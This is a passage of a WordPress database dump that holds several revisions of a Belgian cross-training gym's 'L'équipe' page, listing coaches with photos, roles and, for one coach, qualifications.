href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:35:31', '2013-07-03 19:35:31', '', 20, 'http://www.crosstrainingcenter.be/?p=240', 0, 'revision', '', 0),
(239, 1, '2013-07-03 19:33:18', '2013-07-03 19:33:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:33:18', '2013-07-03 19:33:18', '', 20, 'http://www.crosstrainingcenter.be/?p=239', 0, 'revision', '', 0),
(242, 1, '2013-07-03 19:38:46', '2013-07-03 19:38:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch\r\n\r\nBaccalauréat en éducation physique\r\nSpécialisation en psychomotricité\r\nPréparateur physique et entraineur de football diplômé de l’URBSFA\r\nEnseignant en éducation physique\r\nPratiquant de foot, triathlon, tennis et VTT&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:38:46', '2013-07-03 19:38:46', '', 20, 'http://www.crosstrainingcenter.be/?p=242', 0, 'revision', '', 0),
(243, 1, '2013-07-03 19:39:31', '2013-07-03 19:39:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:39:31', '2013-07-03 19:39:31', '', 20, 'http://www.crosstrainingcenter.be/?p=243', 0, 'revision', '', 0),
(244, 1, '2013-07-03 19:39:55', '2013-07-03 19:39:55', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: 